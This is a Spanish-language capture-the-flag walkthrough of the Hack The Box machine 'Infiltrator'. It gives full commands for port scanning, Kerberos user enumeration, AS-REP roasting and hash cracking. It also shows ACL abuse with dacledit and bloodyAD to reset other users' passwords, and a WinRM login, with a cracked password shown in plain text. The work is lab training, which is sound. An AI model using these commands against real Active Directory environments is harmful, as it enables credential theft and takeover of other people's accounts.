Infiltrator -AS-REP Roasting

Enumeración:
File: targeted
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ # Nmap 7.95 scan initiated Sun Jun 1 16:26:06 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,33
│ 89,5985,9389,15220,49667,49686,49687,49692,49721,49748,49842 -oN targeted 10.10.11.31
2 │ Nmap scan report for 10.10.11.31
3 │ Host is up (0.39s latency).
4 │
5 │ PORT STATE SERVICE VERSION
6 │ 53/tcp open domain Simple DNS Plus
7 │ 80/tcp open http Microsoft IIS httpd 10.0
8 │ |_http-server-header: Microsoft-IIS/10.0
9 │ |_http-title: Infiltrator.htb
10 │ 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-01 21:26:20Z)
11 │ 135/tcp open msrpc Microsoft Windows RPC
12 │ 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
13 │ 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
14 │ |_ssl-date: 2025-06-01T21:30:20+00:00; +3s from scanner time.
15 │ | ssl-cert: Subject:
16 │ | Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
17 │ | Not valid before: 2024-08-04T18:48:15
18 │ |_Not valid after: 2099-07-17T18:48:15
19 │ 445/tcp open microsoft-ds?
20 │ 464/tcp open kpasswd5?
21 │ 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
22 │ 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
23 │ |_ssl-date: 2025-06-01T21:30:19+00:00; +3s from scanner time.
24 │ | ssl-cert: Subject:
25 │ | Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
26 │ | Not valid before: 2024-08-04T18:48:15
27 │ |_Not valid after: 2099-07-17T18:48:15
28 │ 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
29 │ | ssl-cert: Subject:
30 │ | Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
31 │ | Not valid before: 2024-08-04T18:48:15
32 │ |_Not valid after: 2099-07-17T18:48:15
33 │ |_ssl-date: 2025-06-01T21:30:20+00:00; +3s from scanner time.
34 │ 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
35 │ | ssl-cert: Subject:
36 │ | Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
37 │ | Not valid before: 2024-08-04T18:48:15
38 │ |_Not valid after: 2099-07-17T18:48:15
39 │ |_ssl-date: 2025-06-01T21:30:19+00:00; +3s from scanner time.
40 │ 3389/tcp open ms-wbt-server Microsoft Terminal Services
41 │ | rdp-ntlm-info:
42 │ | Target_Name: INFILTRATOR
43 │ | NetBIOS_Domain_Name: INFILTRATOR
44 │ | NetBIOS_Computer_Name: DC01
45 │ | DNS_Domain_Name: infiltrator.htb
46 │ | DNS_Computer_Name: dc01.infiltrator.htb
47 │ | DNS_Tree_Name: infiltrator.htb
48 │ | Product_Version: 10.0.17763
49 │ |_ System_Time: 2025-06-01T21:29:41+00:00
50 │ | ssl-cert: Subject: commonName=dc01.infiltrator.htb
51 │ | Not valid before: 2025-05-29T04:01:14
52 │ |_Not valid after: 2025-11-28T04:01:14
53 │ |_ssl-date: 2025-06-01T21:30:19+00:00; +2s from scanner time.
54 │ 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
55 │ |_http-server-header: Microsoft-HTTPAPI/2.0
56 │ |_http-title: Not Found
57 │ 9389/tcp open mc-nmf .NET Message Framing
58 │ 15220/tcp open unknown
59 │ 49667/tcp open msrpc Microsoft Windows RPC
60 │ 49686/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
61 │ 49687/tcp open msrpc Microsoft Windows RPC
62 │ 49692/tcp open msrpc Microsoft Windows RPC
63 │ 49721/tcp open msrpc Microsoft Windows RPC
64 │ 49748/tcp open msrpc Microsoft Windows RPC
65 │ 49842/tcp open msrpc Microsoft Windows RPC
66 │ Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
67 │
68 │ Host script results:
69 │ | smb2-time:
70 │ | date: 2025-06-01T21:29:44
71 │ |_ start_date: N/A
72 │ |_clock-skew: mean: 2s, deviation: 0s, median: 2s
73 │ | smb2-security-mode:
74 │ | 3:1:1:
75 │ |_ Message signing enabled and required
76 │
77 │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
78 │ # Nmap done at Sun Jun 1 16:30:33 2025 -- 1 IP address (1 host up) scanned in 266.65 seconds
Entramos a ver la web:

Al ver el codigo de la web podemos encontrarnos con varios nombres las cuales nos puden servir mas adelante:
curl -s http://dc01.infiltrator.htb | xmllint --html --xpath "//div/div/h4" -
<h4>Top Notch</h4>
<h4>Robust</h4>
<h4>Reliable</h4>
<h4>Up-to-date</h4>
<h4>Initial Work</h4>
<h4>Master Planning</h4>
<h4>Smooth Execution</h4>
<h4>.01 David Anderson</h4>
<h4>.02 Olivia Martinez</h4>
<h4>.03 Kevin Turner</h4>
<h4>.04 Amanda Walker</h4>
<h4>.05 Marcus Harris</h4>
<h4>.06 Lauren Clark</h4>
<h4>.07 Ethan Rodriguez</h4>
Generar diccionario de usuarios del dominio

Ahora con Kerbrute filtramos solo por los usuarios validos:
kerbrute userenum --dc infiltrator.htb -d infiltrator.htb AD_username

AS-REP Roasting
impacket-GetNPUsers: Es una herramienta de la suite Impacket que se utiliza para consultar usuarios en un dominio Active Directory (AD) y obtener información relacionada con el hash de contraseñas mediante el protocolo Kerberos (en particular, busca usuarios que permitan obtener el hash de su contraseña sin conocer la contraseña, aprovechando la vulnerabilidad conocida como "AS-REP Roasting").
impacket-GetNPUsers infiltrator.htb/ -usersfile AD_usr -outputfile outputusers.txt -no-pass -dc-ip dc01.infiltrator.htb

Se encontró un hash de Clark:

Lo intentamos crakear con hashcat:
hashcat outputusers.txt -a 0 -m 18200 /usr/share/wordlists/rockyou.txt

Pass:WAT?watismypass!
Con nxc
verificamos quien usa esta contraseña:

Resultado:
Tenemos al usuario l.clark quien tiene esta contraseña.
Los que nos bota <STATUS_ACCOUNT_RESTRICTION> Restricción =/= bloqueo total.
Por lo que significa que tenemos dos usuarios mas que son:
d.anderson
-m.harris
-l.clark
Usaremos BloodHound:
pero solamente con
d.anderson
porque con los demos no hay nada interesante:
python3 bloodhound.py -d infiltrator.htb -u d.anderson -p 'WAT?watismypass!' -c all -ns 10.10.11.31 --zip

Ahora a subirlo:


D.ANDERSON@INFILTRATOR.HTB ---GenericAll--->MARKETING DIGITAL@INFILTRATOR.HTB
Paso 1: Obtener ticket Kerberos con impacket-getTGT
Esto es para obtener un Ticket Granting Ticket (TGT) Kerberos usando las credenciales del usuario d.anderson
.
impacket-getTGT 'infiltrator.htb/d.anderson:WAT?watismypass!' -dc-ip 10.10.11.31
Paso 2: Importar el ticket Kerberos para usarlo localmente
export KRB5CCNAME=d.anderson.ccache
Esto hace que las herramientas usen ese ticket para autenticarse.
Paso 3: Modificar permisos del grupo "MARKETING DIGITAL" para que d.anderson tenga FullControl
python3 AD/impacket/examples/dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL, DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip 10.10.11.31
Este comando usa
dacledit.py
para modificar la lista de control de acceso (DACL) del objeto OU "MARKETING DIGITAL".Da control total a
d.anderson
sin pedir contraseña, usando el ticket Kerberos (-k
).
Paso 4: Cambiar la contraseña del usuario e.rodriguez
con bloodyAD.py
python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip 10.10.11.31 -u "d.anderson" -p "WAT?watismypass!" set password "e.rodriguez" "K@night666"
Cambia la contraseña de
e.rodriguez
aK@night666
.Usa las credenciales y ticket de
d.anderson
.
Mensaje esperado:
[+] Password changed successfully!

MARKETING DIGITAL@INFILTRATOR.HTB ---Contiene--->E.RODRIGUEZ@INFILTRATOR.HTB
Objetivo: Cambiar la contraseña de E.RODRIGUEZ (miembro de MARKETING DIGITAL)
# 3. Cambiar contraseña de e.rodriguez usando bloodyAD
bloodyAD --host 'dc01.infiltrator.htb' -d 'infiltrator.htb' --kerberos --dc-ip 10.10.11.31 -u 'd.anderson' -p 'WAT?watismypass!' set password 'e.rodriguez' 'WAT?watismypass!'

E.RODRIGUEZ@INFILTRATOR.HTB---addself--->JEFE DE MARKETING@INFILTRATOR.HTB
Objetivo: Añadir E.RODRIGUEZ al grupo CHIEFS MARKETING
# 4. Obtener TGT para e.rodriguez
getTGT.py infiltrator.htb/"e.rodriguez":'WAT?watismypass!' -dc-ip dc01.infiltrator.htb
# 5. Añadir e.rodriguez al grupo CHIEFS MARKETING
export KRB5CCNAME=e.rodriguez.ccache
bloodyAD --host 'dc01.infiltrator.htb' -d 'infiltrator.htb' --dc-ip 10.10.11.31 -u 'e.rodriguez' -k add groupMember 'CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB' e.rodriguez

JEFE DE MARKETING@INFILTRATOR.HTB---forzar cambio de contraseña---> M.HARRIS@INFILTRATOR.HTB
Objetivo: Cambiar la contraseña de M.HARRIS
# 6. Cambiar contraseña de m.harris
bloodyAD --host 'dc01.infiltrator.htb' -d 'infiltrator.htb' --kerberos --dc-ip 10.10.11.31 -u 'e.rodriguez' -p 'WAT?watismypass!' set password 'm.harris' 'WAT?watismypass!'
5. Acceso como M.HARRIS
Objetivo: Obtener acceso interactivo como M.HARRIS
# 7. Obtener TGT para m.harris
getTGT.py infiltrator.htb/"m.harris":'WAT?watismypass!' -dc-ip dc01.infiltrator.htb
# 8. Configurar /etc/krb5.conf (si es necesario)
echo '[libdefaults]
default_realm = INFILTRATOR.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
forwardable = true
[realms]
INFILTRATOR.HTB = {
kdc = dc01.infiltrator.htb
admin_server = dc01.infiltrator.htb
}
[domain_realm]
.infiltrator.htb = INFILTRATOR.HTB
infiltrator.htb = INFILTRATOR.HTB' | sudo tee /etc/krb5.conf
# 9. Conectarse via evil-winrm
KRB5CCNAME=m.harris.ccache evil-winrm -i dc01.infiltrator.htb -u 'm.harris' -r INFILTRATOR.HTB

Subir privilegios:
Pasamos el winPEASx64.exe
a la maquina victima:
Last updated